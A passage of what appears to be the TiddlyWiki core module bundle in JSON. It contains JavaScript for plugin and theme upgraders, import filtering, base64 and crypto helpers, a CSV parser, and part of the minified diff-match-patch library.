"text": "/*\\\ntitle: $:/core/modules/upgraders/plugins.js\ntype: application/javascript\nmodule-type: upgrader\n\nUpgrader module that checks that plugins are newer than any already installed version\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar UPGRADE_LIBRARY_TITLE = \"$:/UpgradeLibrary\";\n\nvar BLOCKED_PLUGINS = {\n\t\"$:/themes/tiddlywiki/stickytitles\": {\n\t\tversions: [\"*\"]\n\t},\n\t\"$:/plugins/tiddlywiki/fullscreen\": {\n\t\tversions: [\"*\"]\n\t}\n};\n\nexports.upgrade = function(wiki,titles,tiddlers) {\n\tvar self = this,\n\t\tmessages = {},\n\t\tupgradeLibrary,\n\t\tgetLibraryTiddler = function(title) {\n\t\t\tif(!upgradeLibrary) {\n\t\t\t\tupgradeLibrary = wiki.getTiddlerData(UPGRADE_LIBRARY_TITLE,{});\n\t\t\t\tupgradeLibrary.tiddlers = upgradeLibrary.tiddlers || {};\n\t\t\t}\n\t\t\treturn upgradeLibrary.tiddlers[title];\n\t\t};\n\n\t// Go through all the incoming tiddlers\n\t$tw.utils.each(titles,function(title) {\n\t\tvar incomingTiddler = tiddlers[title];\n\t\t// Check if we're dealing with a plugin\n\t\tif(incomingTiddler && incomingTiddler[\"plugin-type\"]) {\n\t\t\t// Check whether the plugin contains JS modules\n\t\t\tvar requiresReload = $tw.wiki.doesPluginInfoRequireReload(JSON.parse(incomingTiddler.text)) ? ($tw.wiki.getTiddlerText(\"$:/language/ControlPanel/Plugins/PluginWillRequireReload\") + \" \") : \"\";\n\t\t\tmessages[title] = requiresReload;\n\t\t\tif(incomingTiddler.version) {\n\t\t\t\t// Upgrade the incoming plugin if it is in the upgrade library\n\t\t\t\tvar libraryTiddler = getLibraryTiddler(title);\n\t\t\t\tif(libraryTiddler && libraryTiddler[\"plugin-type\"] && libraryTiddler.version) {\n\t\t\t\t\ttiddlers[title] = libraryTiddler;\n\t\t\t\t\tmessages[title] = requiresReload + $tw.language.getString(\"Import/Upgrader/Plugins/Upgraded\",{variables: {incoming: incomingTiddler.version, upgraded: libraryTiddler.version}});\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\t// Suppress the incoming plugin if it is older than the currently installed one\n\t\t\t\tvar existingTiddler = wiki.getTiddler(title);\n\t\t\t\tif(existingTiddler && existingTiddler.hasField(\"plugin-type\") && existingTiddler.hasField(\"version\")) {\n\t\t\t\t\t// Reject the incoming plugin by blanking all its fields\n\t\t\t\t\tif($tw.utils.checkVersions(existingTiddler.fields.version,incomingTiddler.version)) {\n\t\t\t\t\t\ttiddlers[title] = Object.create(null);\n\t\t\t\t\t\tmessages[title] = requiresReload + $tw.language.getString(\"Import/Upgrader/Plugins/Suppressed/Version\",{variables: {incoming: incomingTiddler.version, existing: existingTiddler.fields.version}});\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Check whether the plugin is on the blocked list\n\t\t\tvar blockInfo = BLOCKED_PLUGINS[title];\n\t\t\tif(blockInfo) {\n\t\t\t\tif(blockInfo.versions.indexOf(\"*\") !== -1 || (incomingTiddler.version && blockInfo.versions.indexOf(incomingTiddler.version) !== -1)) {\n\t\t\t\t\ttiddlers[title] = Object.create(null);\n\t\t\t\t\tmessages[title] = $tw.language.getString(\"Import/Upgrader/Plugins/Suppressed/Incompatible\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t});\n\treturn messages;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "upgrader"
},
"$:/core/modules/upgraders/system.js": {
"title": "$:/core/modules/upgraders/system.js",
"text": "/*\\\ntitle: $:/core/modules/upgraders/system.js\ntype: application/javascript\nmodule-type: upgrader\n\nUpgrader module that suppresses certain system tiddlers that shouldn't be imported\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar DONT_IMPORT_LIST = [\"$:/StoryList\",\"$:/HistoryList\"],\n\tDONT_IMPORT_PREFIX_LIST = [\"$:/temp/\",\"$:/state/\",\"$:/Import\"],\n\tWARN_IMPORT_PREFIX_LIST = [\"$:/core/modules/\"];\n\nexports.upgrade = function(wiki,titles,tiddlers) {\n\tvar self = this,\n\t\tmessages = {},\n\t\tshowAlert = false;\n\t// Check for tiddlers on our list\n\t$tw.utils.each(titles,function(title) {\n\t\tif(DONT_IMPORT_LIST.indexOf(title) !== -1) {\n\t\t\ttiddlers[title] = Object.create(null);\n\t\t\tmessages[title] = $tw.language.getString(\"Import/Upgrader/System/Suppressed\");\n\t\t} else {\n\t\t\tfor(var t=0; t<DONT_IMPORT_PREFIX_LIST.length; t++) {\n\t\t\t\tvar prefix = DONT_IMPORT_PREFIX_LIST[t];\n\t\t\t\tif(title.substr(0,prefix.length) === prefix) {\n\t\t\t\t\ttiddlers[title] = Object.create(null);\n\t\t\t\t\tmessages[title] = $tw.language.getString(\"Import/Upgrader/State/Suppressed\");\n\t\t\t\t}\n\t\t\t}\n\t\t\tfor(var t=0; t<WARN_IMPORT_PREFIX_LIST.length; t++) {\n\t\t\t\tvar prefix = WARN_IMPORT_PREFIX_LIST[t];\n\t\t\t\tif(title.substr(0,prefix.length) === prefix && wiki.isShadowTiddler(title)) {\n\t\t\t\t\tshowAlert = true;\n\t\t\t\t\tmessages[title] = $tw.language.getString(\"Import/Upgrader/System/Warning\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t});\n\tif(showAlert) {\n\t\tvar logger = new $tw.utils.Logger(\"import\");\n\t\tlogger.alert($tw.language.getString(\"Import/Upgrader/System/Alert\"));\n\t}\n\treturn messages;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "upgrader"
},
"$:/core/modules/upgraders/themetweaks.js": {
"title": "$:/core/modules/upgraders/themetweaks.js",
"text": "/*\\\ntitle: $:/core/modules/upgraders/themetweaks.js\ntype: application/javascript\nmodule-type: upgrader\n\nUpgrader module that handles the change in theme tweak storage introduced in 5.0.14-beta.\n\nPreviously, theme tweaks were stored in two data tiddlers:\n\n* $:/themes/tiddlywiki/vanilla/metrics\n* $:/themes/tiddlywiki/vanilla/settings\n\nNow, each tweak is stored in its own separate tiddler.\n\nThis upgrader copies any values from the old format to the new. The old data tiddlers are not deleted in case they have been used to store additional indexes.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar MAPPINGS = {\n\t\"$:/themes/tiddlywiki/vanilla/metrics\": {\n\t\t\"fontsize\": \"$:/themes/tiddlywiki/vanilla/metrics/fontsize\",\n\t\t\"lineheight\": \"$:/themes/tiddlywiki/vanilla/metrics/lineheight\",\n\t\t\"storyleft\": \"$:/themes/tiddlywiki/vanilla/metrics/storyleft\",\n\t\t\"storytop\": \"$:/themes/tiddlywiki/vanilla/metrics/storytop\",\n\t\t\"storyright\": \"$:/themes/tiddlywiki/vanilla/metrics/storyright\",\n\t\t\"storywidth\": \"$:/themes/tiddlywiki/vanilla/metrics/storywidth\",\n\t\t\"tiddlerwidth\": \"$:/themes/tiddlywiki/vanilla/metrics/tiddlerwidth\"\n\t},\n\t\"$:/themes/tiddlywiki/vanilla/settings\": {\n\t\t\"fontfamily\": \"$:/themes/tiddlywiki/vanilla/settings/fontfamily\"\n\t}\n};\n\nexports.upgrade = function(wiki,titles,tiddlers) {\n\tvar self = this,\n\t\tmessages = {};\n\t// Check for tiddlers on our list\n\t$tw.utils.each(titles,function(title) {\n\t\tvar mapping = MAPPINGS[title];\n\t\tif(mapping) {\n\t\t\tvar tiddler = new $tw.Tiddler(tiddlers[title]),\n\t\t\t\ttiddlerData = wiki.getTiddlerDataCached(tiddler,{});\n\t\t\tfor(var index in mapping) {\n\t\t\t\tvar mappedTitle = mapping[index];\n\t\t\t\tif(!tiddlers[mappedTitle] || tiddlers[mappedTitle].title !== mappedTitle) {\n\t\t\t\t\ttiddlers[mappedTitle] = {\n\t\t\t\t\t\ttitle: mappedTitle,\n\t\t\t\t\t\ttext: tiddlerData[index]\n\t\t\t\t\t};\n\t\t\t\t\tmessages[mappedTitle] = $tw.language.getString(\"Import/Upgrader/ThemeTweaks/Created\",{variables: {\n\t\t\t\t\t\tfrom: title + \"##\" + index\n\t\t\t\t\t}});\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t});\n\treturn messages;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "upgrader"
},
"$:/core/modules/utils/base64-utf8/base64-utf8.module.js": {
"text": "(function(){// From https://gist.github.com/Nijikokun/5192472\n//\n// UTF8 Module\n//\n// Cleaner and modularized utf-8 encoding and decoding library for javascript.\n//\n// copyright: MIT\n// author: Nijiko Yonskai, @nijikokun, nijikokun@gmail.com\n!function(r,e,o,t){void 0!==o.module&&o.module.exports?o.module.exports=e.apply(o):void 0!==o.define&&\"function\"===o.define&&o.define.amd?define(\"utf8\",[],e):o.utf8=e.apply(o)}(0,function(){return{encode:function(r){if(\"string\"!=typeof r)return r;r=r.replace(/\\r\\n/g,\"\\n\");for(var e,o=\"\",t=0;t<r.length;t++)(e=r.charCodeAt(t))<128?o+=String.fromCharCode(e):e>127&&e<2048?(o+=String.fromCharCode(e>>6|192),o+=String.fromCharCode(63&e|128)):(o+=String.fromCharCode(e>>12|224),o+=String.fromCharCode(e>>6&63|128),o+=String.fromCharCode(63&e|128));return o},decode:function(r){if(\"string\"!=typeof r)return r;for(var e=\"\",o=0,t=0;o<r.length;)(t=r.charCodeAt(o))<128?(e+=String.fromCharCode(t),o++):t>191&&t<224?(e+=String.fromCharCode((31&t)<<6|63&r.charCodeAt(o+1)),o+=2):(e+=String.fromCharCode((15&t)<<12|(63&r.charCodeAt(o+1))<<6|63&r.charCodeAt(o+2)),o+=3);return e}}},this),function(r,e,o,t){if(void 0!==o.module&&o.module.exports){if(t&&o.require)for(var n=0;n<t.length;n++)o[t[n]]=o.require(t[n]);o.module.exports=e.apply(o)}else void 0!==o.define&&\"function\"===o.define&&o.define.amd?define(\"base64\",t||[],e):o.base64=e.apply(o)}(0,function(r){var e=r||this.utf8,o=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\";return{encode:function(r){if(void 0===e)throw{error:\"MissingMethod\",message:\"UTF8 Module is missing.\"};if(\"string\"!=typeof r)return r;r=e.encode(r);for(var t,n,i,d,f,a,h,c=\"\",u=0;u<r.length;)d=(t=r.charCodeAt(u++))>>2,f=(3&t)<<4|(n=r.charCodeAt(u++))>>4,a=(15&n)<<2|(i=r.charCodeAt(u++))>>6,h=63&i,isNaN(n)?a=h=64:isNaN(i)&&(h=64),c+=o.charAt(d)+o.charAt(f)+o.charAt(a)+o.charAt(h);return c},decode:function(r){if(void 0===e)throw{error:\"MissingMethod\",message:\"UTF8 Module is missing.\"};if(\"string\"!=typeof r)return r;r=r.replace(/[^A-Za-z0-9\\+\\/\\=]/g,\"\");for(var t,n,i,d,f,a,h=\"\",c=0;c<r.length;)t=o.indexOf(r.charAt(c++))<<2|(d=o.indexOf(r.charAt(c++)))>>4,n=(15&d)<<4|(f=o.indexOf(r.charAt(c++)))>>2,i=(3&f)<<6|(a=o.indexOf(r.charAt(c++))),h+=String.fromCharCode(t),64!=f&&(h+=String.fromCharCode(n)),64!=a&&(h+=String.fromCharCode(i));return e.decode(h)}}},this,[\"utf8\"]);}).call(exports);",
"type": "application/javascript",
"title": "$:/core/modules/utils/base64-utf8/base64-utf8.module.js",
"module-type": "library"
},
"$:/core/modules/utils/crypto.js": {
"title": "$:/core/modules/utils/crypto.js",
"text": "/*\\\ntitle: $:/core/modules/utils/crypto.js\ntype: application/javascript\nmodule-type: utils\n\nUtility functions related to crypto.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nLook for an encrypted store area in the text of a TiddlyWiki file\n*/\nexports.extractEncryptedStoreArea = function(text) {\n\tvar encryptedStoreAreaStartMarker = \"<pre id=\\\"encryptedStoreArea\\\" type=\\\"text/plain\\\" style=\\\"display:none;\\\">\",\n\t\tencryptedStoreAreaStart = text.indexOf(encryptedStoreAreaStartMarker);\n\tif(encryptedStoreAreaStart !== -1) {\n\t\tvar encryptedStoreAreaEnd = text.indexOf(\"</pre>\",encryptedStoreAreaStart);\n\t\tif(encryptedStoreAreaEnd !== -1) {\n\t\t\treturn $tw.utils.htmlDecode(text.substring(encryptedStoreAreaStart + encryptedStoreAreaStartMarker.length,encryptedStoreAreaEnd-1));\n\t\t}\n\t}\n\treturn null;\n};\n\n/*\nAttempt to extract the tiddlers from an encrypted store area using the current password. If the password is not provided then the password in the password store will be used\n*/\nexports.decryptStoreArea = function(encryptedStoreArea,password) {\n\tvar decryptedText = $tw.crypto.decrypt(encryptedStoreArea,password);\n\tif(decryptedText) {\n\t\tvar json = JSON.parse(decryptedText),\n\t\t\ttiddlers = [];\n\t\tfor(var title in json) {\n\t\t\tif(title !== \"$:/isEncrypted\") {\n\t\t\t\ttiddlers.push(json[title]);\n\t\t\t}\n\t\t}\n\t\treturn tiddlers;\n\t} else {\n\t\treturn null;\n\t}\n};\n\n\n/*\nAttempt to extract the tiddlers from an encrypted store area using the current password. If that fails, the user is prompted for a password.\nencryptedStoreArea: text of the TiddlyWiki encrypted store area\ncallback: function(tiddlers) called with the array of decrypted tiddlers\n\nThe following configuration settings are supported:\n\n$tw.config.usePasswordVault: causes any password entered by the user to also be put into the system password vault\n*/\nexports.decryptStoreAreaInteractive = function(encryptedStoreArea,callback,options) {\n\t// Try to decrypt with the current password\n\tvar tiddlers = $tw.utils.decryptStoreArea(encryptedStoreArea);\n\tif(tiddlers) {\n\t\tcallback(tiddlers);\n\t} else {\n\t\t// Prompt for a new password and keep trying\n\t\t$tw.passwordPrompt.createPrompt({\n\t\t\tserviceName: \"Enter a password to decrypt the imported TiddlyWiki\",\n\t\t\tnoUserName: true,\n\t\t\tcanCancel: true,\n\t\t\tsubmitText: \"Decrypt\",\n\t\t\tcallback: function(data) {\n\t\t\t\t// Exit if the user cancelled\n\t\t\t\tif(!data) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\t// Attempt to decrypt the tiddlers\n\t\t\t\tvar tiddlers = $tw.utils.decryptStoreArea(encryptedStoreArea,data.password);\n\t\t\t\tif(tiddlers) {\n\t\t\t\t\tif($tw.config.usePasswordVault) {\n\t\t\t\t\t\t$tw.crypto.setPassword(data.password);\n\t\t\t\t\t}\n\t\t\t\t\tcallback(tiddlers);\n\t\t\t\t\t// Exit and remove the password prompt\n\t\t\t\t\treturn true;\n\t\t\t\t} else {\n\t\t\t\t\t// We didn't decrypt everything, so continue to prompt for password\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "utils"
},
"$:/core/modules/utils/csv.js": {
"title": "$:/core/modules/utils/csv.js",
"text": "/*\\\ntitle: $:/core/modules/utils/csv.js\ntype: application/javascript\nmodule-type: utils\n\nA barebones CSV parser\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nParse a CSV string with a header row and return an array of hashmaps.\n*/\nexports.parseCsvStringWithHeader = function(text,options) {\n\toptions = options || {};\n\tvar separator = options.separator || \",\",\n\t\trows = text.split(/\\r?\\n/mg).map(function(row) {\n\t\t\treturn $tw.utils.trim(row);\n\t\t}).filter(function(row) {\n\t\t\treturn row !== \"\";\n\t\t});\n\tif(rows.length < 1) {\n\t\treturn \"Missing header row\";\n\t}\n\tvar headings = rows[0].split(separator),\n\t\tresults = [];\n\tfor(var row=1; row<rows.length; row++) {\n\t\tvar columns = rows[row].split(separator),\n\t\t\tcolumnResult = Object.create(null);\n\t\tif(columns.length !== headings.length) {\n\t\t\treturn \"Malformed CSV row '\" + rows[row] + \"'\";\n\t\t}\n\t\tfor(var column=0; column<columns.length; column++) {\n\t\t\tvar columnName = headings[column];\n\t\t\tcolumnResult[columnName] = $tw.utils.trim(columns[column] || \"\");\n\t\t}\n\t\tresults.push(columnResult);\t\t\t\n\t}\n\treturn results;\n}\n\n})();\n",
"type": "application/javascript",
"module-type": "utils"
},
"$:/core/modules/utils/diff-match-patch/diff_match_patch.js": {
"text": "(function(){function diff_match_patch(){this.Diff_Timeout=1;this.Diff_EditCost=4;this.Match_Threshold=.5;this.Match_Distance=1E3;this.Patch_DeleteThreshold=.5;this.Patch_Margin=4;this.Match_MaxBits=32}var DIFF_DELETE=-1,DIFF_INSERT=1,DIFF_EQUAL=0;\ndiff_match_patch.prototype.diff_main=function(a,b,c,d){\"undefined\"==typeof d&&(d=0>=this.Diff_Timeout?Number.MAX_VALUE:(new Date).getTime()+1E3*this.Diff_Timeout);if(null==a||null==b)throw Error(\"Null input. (diff_main)\");if(a==b)return a?[[DIFF_EQUAL,a]]:[];\"undefined\"==typeof c&&(c=!0);var e=c,f=this.diff_commonPrefix(a,b);c=a.substring(0,f);a=a.substring(f);b=b.substring(f);f=this.diff_commonSuffix(a,b);var g=a.substring(a.length-f);a=a.substring(0,a.length-f);b=b.substring(0,b.length-f);a=this.diff_compute_(a,\nb,e,d);c&&a.unshift([DIFF_EQUAL,c]);g&&a.push([DIFF_EQUAL,g]);this.diff_cleanupMerge(a);return a};\ndiff_match_patch.prototype.diff_compute_=function(a,b,c,d){if(!a)return[[DIFF_INSERT,b]];if(!b)return[[DIFF_DELETE,a]];var e=a.length>b.length?a:b,f=a.length>b.length?b:a,g=e.indexOf(f);return-1!=g?(c=[[DIFF_INSERT,e.substring(0,g)],[DIFF_EQUAL,f],[DIFF_INSERT,e.substring(g+f.length)]],a.length>b.length&&(c[0][0]=c[2][0]=DIFF_DELETE),c):1==f.length?[[DIFF_DELETE,a],[DIFF_INSERT,b]]:(e=this.diff_halfMatch_(a,b))?(b=e[1],f=e[3],a=e[4],e=this.diff_main(e[0],e[2],c,d),c=this.diff_main(b,f,c,d),e.concat([[DIFF_EQUAL,\na]],c)):c&&100<a.length&&100<b.length?this.diff_lineMode_(a,b,d):this.diff_bisect_(a,b,d)};\ndiff_match_patch.prototype.diff_lineMode_=function(a,b,c){var d=this.diff_linesToChars_(a,b);a=d.chars1;b=d.chars2;d=d.lineArray;a=this.diff_main(a,b,!1,c);this.diff_charsToLines_(a,d);this.diff_cleanupSemantic(a);a.push([DIFF_EQUAL,\"\"]);for(var e=d=b=0,f=\"\",g=\"\";b<a.length;){switch(a[b][0]){case DIFF_INSERT:e++;g+=a[b][1];break;case DIFF_DELETE:d++;f+=a[b][1];break;case DIFF_EQUAL:if(1<=d&&1<=e){a.splice(b-d-e,d+e);b=b-d-e;d=this.diff_main(f,g,!1,c);for(e=d.length-1;0<=e;e--)a.splice(b,0,d[e]);b+=\nd.length}d=e=0;g=f=\"\"}b++}a.pop();return a};\ndiff_match_patch.prototype.diff_bisect_=function(a,b,c){for(var d=a.length,e=b.length,f=Math.ceil((d+e)/2),g=2*f,h=Array(g),l=Array(g),k=0;k<g;k++)h[k]=-1,l[k]=-1;h[f+1]=0;l[f+1]=0;k=d-e;for(var m=0!=k%2,p=0,x=0,w=0,q=0,t=0;t<f&&!((new Date).getTime()>c);t++){for(var v=-t+p;v<=t-x;v+=2){var n=f+v;var r=v==-t||v!=t&&h[n-1]<h[n+1]?h[n+1]:h[n-1]+1;for(var y=r-v;r<d&&y<e&&a.charAt(r)==b.charAt(y);)r++,y++;h[n]=r;if(r>d)x+=2;else if(y>e)p+=2;else if(m&&(n=f+k-v,0<=n&&n<g&&-1!=l[n])){var u=d-l[n];if(r>=\nu)return this.diff_bisectSplit_(a,b,r,y,c)}}for(v=-t+w;v<=t-q;v+=2){n=f+v;u=v==-t||v!=t&&l[n-1]<l[n+1]?l[n+1]:l[n-1]+1;for(r=u-v;u<d&&r<e&&a.charAt(d-u-1)==b.charAt(e-r-1);)u++,r++;l[n]=u;if(u>d)q+=2;else if(r>e)w+=2;else if(!m&&(n=f+k-v,0<=n&&n<g&&-1!=h[n]&&(r=h[n],y=f+r-n,u=d-u,r>=u)))return this.diff_bisectSplit_(a,b,r,y,c)}}return[[DIFF_DELETE,a],[DIFF_INSERT,b]]};\ndiff_match_patch.prototype.diff_bisectSplit_=function(a,b,c,d,e){var f=a.substring(0,c),g=b.substring(0,d);a=a.substring(c);b=b.substring(d);f=this.diff_main(f,g,!1,e);e=this.diff_main(a,b,!1,e);return f.concat(e)};\ndiff_match_patch.prototype.diff_linesToChars_=function(a,b){function c(a){for(var b=\"\",c=0,f=-1,g=d.length;f<a.length-1;){f=a.indexOf(\"\\n\",c);-1==f&&(f=a.length-1);var h=a.substring(c,f+1);c=f+1;(e.hasOwnProperty?e.hasOwnProperty(h):void 0!==e[h])?b+=String.fromCharCode(e[h]):(b+=String.fromCharCode(g),e[h]=g,d[g++]=h)}return b}var d=[],e={};d[0]=\"\";var f=c(a),g=c(b);return{chars1:f,chars2:g,lineArray:d}};\ndiff_match_patch.prototype.diff_charsToLines_=function(a,b){for(var c=0;c<a.length;c++){for(var d=a[c][1],e=[],f=0;f<d.length;f++)e[f]=b[d.charCodeAt(f)];a[c][1]=e.join(\"\")}};diff_match_patch.prototype.diff_commonPrefix=function(a,b){if(!a||!b||a.charAt(0)!=b.charAt(0))return 0;for(var c=0,d=Math.min(a.length,b.length),e=d,f=0;c<e;)a.substring(f,e)==b.substring(f,e)?f=c=e:d=e,e=Math.floor((d-c)/2+c);return e};\ndiff_match_patch.prototype.diff_commonSuffix=function(a,b){if(!a||!b||a.charAt(a.length-1)!=b.charAt(b.length-1))return 0;for(var c=0,d=Math.min(a.length,b.length),e=d,f=0;c<e;)a.substring(a.length-e,a.length-f)==b.substring(b.length-e,b.length-f)?f=c=e:d=e,e=Math.floor((d-c)/2+c);return e};\ndiff_match_patch.prototype.diff_commonOverlap_=function(a,b){var c=a.length,d=b.length;if(0==c||0==d)return 0;c>d?a=a.substring(c-d):c<d&&(b=b.substring(0,c));c=Math.min(c,d);if(a==b)return c;d=0;for(var e=1;;){var f=a.substring(c-e);f=b.indexOf(f);if(-1==f)return d;e+=f;if(0==f||a.substring(c-e)==b.substring(0,e))d=e,e++}};\ndiff_match_patch.prototype.diff_halfMatch_=function(a,b){function c(a,b,c){for(var d=a.substring(c,c+Math.floor(a.length/4)),e=-1,g=\"\",h,k,l,m;-1!=(e=b.indexOf(d,e+1));){var p=f.diff_commonPrefix(a.substring(c),b.substring(e)),u=f.diff_commonSuffix(a.substring(0,c),b.substring(0,e));g.length<u+p&&(g=b.substring(e-u,e)+b.substring(e,e+p),h=a.substring(0,c-u),k=a.substring(c+p),l=b.substring(0,e-u),m=b.substring(e+p))}return 2*g.length>=a.length?[h,k,l,m,g]:null}if(0>=this.Diff_Timeout)return null;\nvar d=a.length>b.length?a:b,e=a.length>b.length?b:a;if(4>d.length||2*e.length<d.length)return null;var f=this,g=c(d,e,Math.ceil(d.length/4));d=c(d,e,Math.ceil(d.length/2));if(g||d)g=d?g?g[4].length>d[4].length?g:d:d:g;else return null;if(a.length>b.length){d=g[0];e=g[1];var h=g[2];var l=g[3]}else h=g[0],l=g[1],d=g[2],e=g[3];return[d,e,h,l,g[4]]};\ndiff_match_patch.prototype.diff_cleanupSemantic=function(a){for(var b=!1,c=[],d=0,e=null,f=0,g=0,h=0,l=0,k=0;f<a.length;)a[f][0]==DIFF_EQUAL?(c[d++]=f,g=l,h=k,k=l=0,e=a[f][1]):(a[f][0]==DIFF_INSERT?l+=a[f][1].length:k+=a[f][1].length,e&&e.length<=Math.max(g,h)&&e.length<=Math.max(l,k)&&(a.splice(c[d-1],0,[DIFF_DELETE,e]),a[c[d-1]+1][0]=DIFF_INSERT,d--,d--,f=0<d?c[d-1]:-1,k=l=h=g=0,e=null,b=!0)),f++;b&&this.diff_cleanupMerge(a);this.diff_cleanupSemanticLossless(a);for(f=1;f<a.length;){if(a[f-1][0]==\nDIFF_DELETE&&a[f][0]==DIFF_INSERT){b=a[f-1][1];c=a[f][1];d=this.diff_commonOverlap_(b,c);e=this.diff_commonOverlap_(c,b);if(d>=e){if(d>=b.length/2||d>=c.length/2)a.splice(f,0,[DIFF_EQUAL,c.substring(0,d)]),a[f-1][1]=b.substring(0,b.length-d),a[f+1][1]=c.substring(d),f++}else if(e>=b.length/2||e>=c.length/2)a.splice(f,0,[DIFF_EQUAL,b.substring(0,e)]),a[f-1][0]=DIFF_INSERT,a[f-1][1]=c.substring(0,c.length-e),a[f+1][0]=DIFF_DELETE,a[f+1][1]=b.substring(e),f++;f++}f++}};\ndiff_match_patch.prototype.diff_cleanupSemanticLossless=function(a){function b(a,b){if(!a||!b)return 6;var c=a.charAt(a.length-1),d=b.charAt(0),e=c.match(diff_match_patch.nonAlphaNumericRegex_),f=d.match(diff_match_patch.nonAlphaNumericRegex_),g=e&&c.match(diff_match_patch.whitespaceRegex_),h=f&&d.match(diff_match_patch.whitespaceRegex_);c=g&&c.match(diff_match_patch.linebreakRegex_);d=h&&d.match(diff_match_patch.linebreakRegex_);var k=c&&a.match(diff_match_patch.blanklineEndRegex_),l=d&&b.match(diff_match_patch.blanklineStartRegex_);\nreturn k||l?5:c||d?4:e&&!g&&h?3:g||h?2:e||f?1:0}for(var c=1;c<a.length-1;){if(a[c-1][0]==DIFF_EQUAL&&a[c+1][0]==DIFF_EQUAL){var d=a[c-1][1],e=a[c][1],f=a[c+1][1],g=this.diff_commonSuffix(d,e);if(g){var h=e.substring(e.length-g);d=d.substring(0,d.length-g);e=h+e.substring(0,e.length-g);f=h+f}g=d;h=e;for(var l=f,k=b(d,e)+b(e,f);e.charAt(0)===f.charAt(0);){d+=e.charAt(0);e=e.substring(1)+f.charAt(0);f=f.substring(1);var m=b(d,e)+b(e,f);m>=k&&(k=m,g=d,h=e,l=f)}a[c-1][1]!=g&&(g?a[c-1][1]=g:(a.splice(c-\n1,1),c--),a[c][1]=h,l?a[c+1][1]=l:(a.splice(c+1,1),c--))}c++}};diff_match_patch.nonAlphaNumericRegex_=/[^a-zA-Z0-9]/;diff_match_patch.whitespaceRegex_=/\\s/;diff_match_patch.linebreakRegex_=/[\\r\\n]/;diff_match_patch.blanklineEndRegex_=/\\n\\r?\\n$/;diff_match_patch.blanklineStartRegex_=/^\\r?\\n\\r?\\n/;\ndiff_match_patch.prototype.diff_cleanupEfficiency=function(a){for(var b=!1,c=[],d=0,e=null,f=0,g=!1,h=!1,l=!1,k=!1;f<a.length;)a[f][0]==DIFF_EQUAL?(a[f][1].length<this.Diff_EditCost&&(l||k)?(c[d++]=f,g=l,h=k,e=a[f][1]):(d=0,e=null),l=k=!1):(a[f][0]==DIFF_DELETE?k=!0:l=!0,e&&(g&&h&&l&&k||e.length<this.Diff_EditCost/2&&3==g+h+l+k)&&(a.splice(c[d-1],0,[DIFF_DELETE,e]),a[c[d-1]+1][0]=DIFF_INSERT,d--,e=null,g&&h?(l=k=!0,d=0):(d--,f=0<d?c[d-1]:-1,l=k=!1),b=!0)),f++;b&&this.diff_cleanupMerge(a)};\ndiff_match_patch.prototype.diff_cleanupMerge=function(a){a.push([DIFF_EQUAL,\"\"]);for(var b=0,c=0,d=0,e=\"\",f=\"\",g;b<a.length;)switch(a[b][0]){case DIFF_INSERT:d++;f+=a[b][1];b++;break;case DIFF_DELETE:c++;e+=a[b][1];b++;break;case DIFF_EQUAL:1<c+d?(0!==c&&0!==d&&(g=this.diff_commonPrefix(f,e),0!==g&&(0<b-c-d&&a[b-c-d-1][0]==DIFF_EQUAL?a[b-c-d-1][1]+=f.substring(0,g):(a.splice(0,0,[DIFF_EQUAL,f.substring(0,g)]),b++),f=f.substring(g),e=e.substring(g)),g=this.diff_commonSuffix(f,e),0!==g&&(a[b][1]=f.substring(f.length-\ng)+a[b][1],f=f.substring(0,f.length-g),e=e.substring(0,e.length-g))),0===c?a.splice(b-d,c+d,[DIFF_INSERT,f]):0===d?a.splice(b-c,c+d,[DIFF_DELETE,e]):a.splice(b-c-d,c+d,[DIFF_DELETE,e],[DIFF_INSERT,f]),b=b-c-d+(c?1:0)+(d?1:0)+1):0!==b&&a[b-1][0]==DIFF_EQUAL?(a[b-1][1]+=a[b][1],a.splice(b,1)):b++,c=d=0,f=e=\"\"}\"\"===a[a.length-1][1]&&a.pop();c=!1;for(b=1;b<a.length-1;)a[b-1][0]==DIFF_EQUAL&&a[b+1][0]==DIFF_EQUAL&&(a[b][1].substring(a[b][1].length-a[b-1][1].length)==a[b-1][1]?(a[b][1]=a[b-1][1]+a[b][1].substring(0,\na[b][1].length-a[b-1][1].length),a[b+1][1]=a[b-1][1]+a[b+1][1],a.splice(b-1,1),c=!0):a[b][1].substring(0,a[b+1][1].length)==a[b+1][1]&&(a[b-1][1]+=a[b+1][1],a[b][1]=a[b][1].substring(a[b+1][1].length)+a[b+1][1],a.splice(b+1,1),c=!0)),b++;c&&this.diff_cleanupMerge(a)};\ndiff_match_patch.prototype.diff_xIndex=function(a,b){var c=0,d=0,e=0,f=0,g;for(g=0;g<a.length;g++){a[g][0]!==DIFF_INSERT&&(c+=a[g][1].length);a[g][0]!==DIFF_DELETE&&(d+=a[g][1].length);if(c>b)break;e=c;f=d}return a.length!=g&&a[g][0]===DIFF_DELETE?f:f+(b-e)};\ndiff_match_patch.prototype.diff_prettyHtml=function(a){for(var b=[],c=/&/g,d=/</g,e=/>/g,f=/\\n/g,g=0;g<a.length;g++){var h=a[g][0],l=a[g][1].replace(c,\"&\").replace(d,\"<\").replace(e,\">\").replace(f,\"¶<br>\");switch(h){case DIFF_INSERT:b[g]='<ins style=\"background:#e6ffe6;\">'+l+\"</ins>\";break;case 